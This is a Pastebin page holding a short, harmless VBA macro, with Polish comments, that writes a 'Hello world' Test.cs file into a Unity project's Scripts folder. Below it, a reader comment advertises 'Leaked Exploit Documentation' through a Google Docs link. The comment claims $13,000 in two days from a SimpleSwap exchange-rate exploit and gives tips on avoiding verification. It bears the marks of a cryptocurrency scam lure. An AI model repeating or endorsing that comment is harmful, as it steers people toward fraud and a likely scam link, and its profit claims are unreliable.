Hyluss

[VisualBasic] Create File in Unity

Dec 30th, 2019
5,449
0
Never
3
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. '---- I Module ----
  2. Option Explicit
  3.  
  4. Sub WriteCS()
  5.  
  6. Dim fso As FileSystemObject
  7. Dim fsoFile As TextStream
  8.  
  9. Set fso = New FileSystemObject
  10.  
  11. ' TristateTrue - uzycie unicode
  12. Set fsoFile = fso.OpenTextFile(GetPath & "\Test.cs", ForWriting, True, TristateTrue)
  13.  
  14. fsoFile.WriteLine "Hello world"
  15. fsoFile.Close
  16.  
  17. End Sub
  18.  
  19. '---- II Module ----
  20.  
  21. 'deklaracja zmiennych musi byc jawna
  22. Option Explicit
  23.  
  24. ' function - zwraca wartosc
  25. Function GetPath()
  26.  
  27. Dim path As String
  28. 'pobranie sciezki pliku
  29. path = ThisWorkbook.path
  30.  
  31. Dim processedPath As String
  32. processedPath = ""
  33.  
  34. ' przedrostek sciezki
  35. Dim pathSuffix As String
  36. pathSuffix = "\Scripts\Static\StringTables"
  37.  
  38.  
  39. ' Wyswieltenie wszystkiego do ostatniego znaku "/"
  40. ' ---
  41. Dim cLoop As Long
  42. Dim cLimit As Long
  43. cLimit = Len(path)
  44.  
  45. For cLoop = 1 To cLimit
  46.     If Mid(path, cLoop, 1) = "\" Then
  47.         processedPath = Left(path, cLoop - 1)
  48.     End If
  49.    
  50. Next cLoop
  51. ' ---
  52.  
  53. ' wyswietlenie sciezki
  54. ' MsgBox path & vbCrLf & processedPath
  55.  
  56.  
  57. GetPath = processedPath & pathSuffix
  58.  
  59. End Function
  60.  
  61. Sub Test()
  62.  
  63. MsgBox GetPath
  64.  
  65. End Sub
Advertisement
Comments
  • User was banned
  • Ronjulix
    152 days
    # CSS 0.85 KB | 0 0
    1. ✅ Leaked Exploit Documentation:
    2.  
    3. https://docs.google.com/document/d/1dOCZEHS5JtM51RITOJzbS4o3hZ-__wTTRXQkV1MexNQ/edit?usp=sharing
    4.  
    5. This made me $13,000 in 2 days.
    6.  
    7. Important: If you plan to use the exploit more than once, remember that after the first successful swap you must wait 24 hours before using it again. Otherwise, there is a high chance that your transaction will be flagged for additional verification, and if that happens, you won't receive the extra 25% — they will simply correct the exchange rate.
    8. The first COMPLETED transaction always goes through — this has been tested and confirmed over the last days.
    9.  
    10. Edit: I've gotten a lot of questions about the maximum amount it works for — as far as I know, there is no maximum amount. The only limit is the 24-hour cooldown (1 use per day without verification from SimpleSwap — instant swap).
  • User was banned
Add Comment
Please, Sign In to add comment